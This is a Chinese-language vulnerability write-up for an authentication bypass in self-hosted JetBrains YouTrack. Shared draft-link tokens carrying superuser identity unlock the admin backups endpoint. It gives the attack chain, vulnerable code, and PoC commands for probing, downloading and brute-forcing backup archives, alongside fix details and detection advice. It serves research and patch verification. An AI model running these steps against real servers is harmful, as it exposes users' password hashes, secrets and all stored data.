状态: 作为漏洞研究的一部分重建的 PoC;当时不存在公开的漏洞利用。 原始报告者: Hieu Nguyen(已报告给 JetBrains,于 2026-08-17/18 修复)。
| 产品 | JetBrains YouTrack(自托管 Server) |
| 受影响版本 | 2025.3.156085、2026.1.13913、2026.2.18112 之前的所有构建版本 |
| 类型 | CWE-288 — 使用替代路径或通道的身份验证绕过 |
| CVSS 3.1 | 9.1 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 后利用 | 完整数据库转储:所有问题、项目、用户(密码哈希、机密)、附件、设置 |
| CISA KEV | 否;EPSS 较低;未记录到在野利用 |
EntitySigningService(youtrack-application)签发如下形式的 URL 令牌:
token = base64url( timestamp | userXdId | entityId | sig )
sig = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
user.secret — 每个用户的密钥(XdUser 实现了 SecretProviderEntity);SecretProviderEntity,则将其追加到盐值中;parseSign(token, type) 通过 id 查找用户,通过 entityId 查找实体,
重新计算 SHA-256 并进行比较,然后检查 now > timestamp → “链接已过期”。关键点:实体查找通过 PersitenceExtensionsKt.tryFindById → xodus-dnq
IdsKt.findById 进行:
fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
val session = store.session
val entity = session.getEntity(session.toEntityId(xdId)) // raw store id
return entity.toXd() as T // type NOT checked
}
type 参数被忽略——任何具有该 store-id 的实体都会被返回,并被强制转换为请求的类型。签名仍然有效,因为它是根据相同的字段(时间戳、用户 id、实体 id、用户密钥)计算得出的。
当问题草稿被“共享”给外部人员时,XdIssueExtKt.getUrl 会构建链接:
if (issue.isDraft) {
res = "$baseUrl/newIssue?draftId=${issue.entityId}"
if (issue.secret != null) // draft marked as "shared"
res += "&sign=" + signing.newSign(
XdDraftOwnerUser.Companion.get(), // <- signer
issue,
SignatureDuration.WORKFLOW) // ~14 days
}
XdDraftOwnerUser 是一个内部 超级用户:
@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
// login = "draft_owner_" + Math.abs(new Random().nextInt());
// password is randomly generated — cannot log in with it,
// but runAs() from the signature uses its identity directly
}
简而言之:每个收到 /newIssue?draftId=177-5&sign=<token> 链接的人都持有一个嵌入了超级用户权限的令牌,有效期为 14 天,而且该链接是为没有账户的人设计的。
备份归档通过签名链接提供:
GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
// SOLE authentication — signature check:
user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
runAs(user) { // <- principal becomes the token's user
assertAccess(file); // hasPermission(user, ADMIN_READ_APP)
backupFile = backupFolder.getBackupFile(file);
// ... stream the archive
}
}
private void assertAccess(String file) {
if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
throw new ForbiddenException(...); // superuser passes
if (file contains '/' or '\\') throw NotFound; // path traversal blocked
}
攻击链:
parseSign(token, XdDatabaseBackupConfig):找到用户 draft_owner_*;按 store-id 找到实体(它是一个 issue 草稿,但未检查类型);SHA-256 匹配;未超过 14 天 → token 有效。runAs(XdDraftOwnerUser) → assertAccess 看到超级用户 → 通过。YYYY-MM-DD-HH-MM-SS.tar.gz(服务器本地时间;成功下载后,token 会在 expiredTokens 中被烧毁,直到服务器重启)。BackupFileResource 未改动。EntitySigningService 中的变更:
extractInfo:entityId == "null" 现在会被拒绝(此前 entity=null 的 token 可被任何端点接受);newSign(user, entity, ...) —— entity 变为 @NotNull;tryFindByIdOfType —— 检查找到的实体是否属于请求的类型(getEnclosingEntityClass);emailBound 签名和 parseSign(token, vararg types) 重载 —— token 被绑定到允许的实体类型列表。现在在备份端点上使用草稿 token → MalformedSignatureException → 403。
poc_cve_2026_75045.py(仅使用标准库)。仅用于你拥有或已获得明确书面许可进行测试的实例。
# Non-destructive check (downloads nothing):
# 404 on a nonexistent file = token accepted = vulnerable
# 403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--sign "<sign from shared draft link>" --i-am-authorized
# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized
# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz
# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
--times 03:00,22:30 --spread 60 --delay 0.3
在存在漏洞的服务器上,verify 模式的预期输出:
[*] Control (forged token): HTTP 403
[*] Probe (draft token) : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.
GET /api/admin/backups/<file>?sign=... 不带 cookie/Authorization,
尤其是来自外部 IP 的请求;该路径返回 HTTP 200 即为安全事件。/api/admin/backups/ 上返回 404/403 且 sign 格式有效,表明存在利用/扫描尝试。/newIssue?draftId=...&sign=... 开头。/api/admin/backups/;
限制对备份目录的访问。secret 的草稿 / 重新创建它们)——
旧令牌有效期为 14 天且无法单独撤销;更新后它们会在实体类型层面被拒绝。本材料旨在用于您拥有或获授权测试的实例上的漏洞研究与补丁验证。未经所有者许可对系统使用属于违法行为。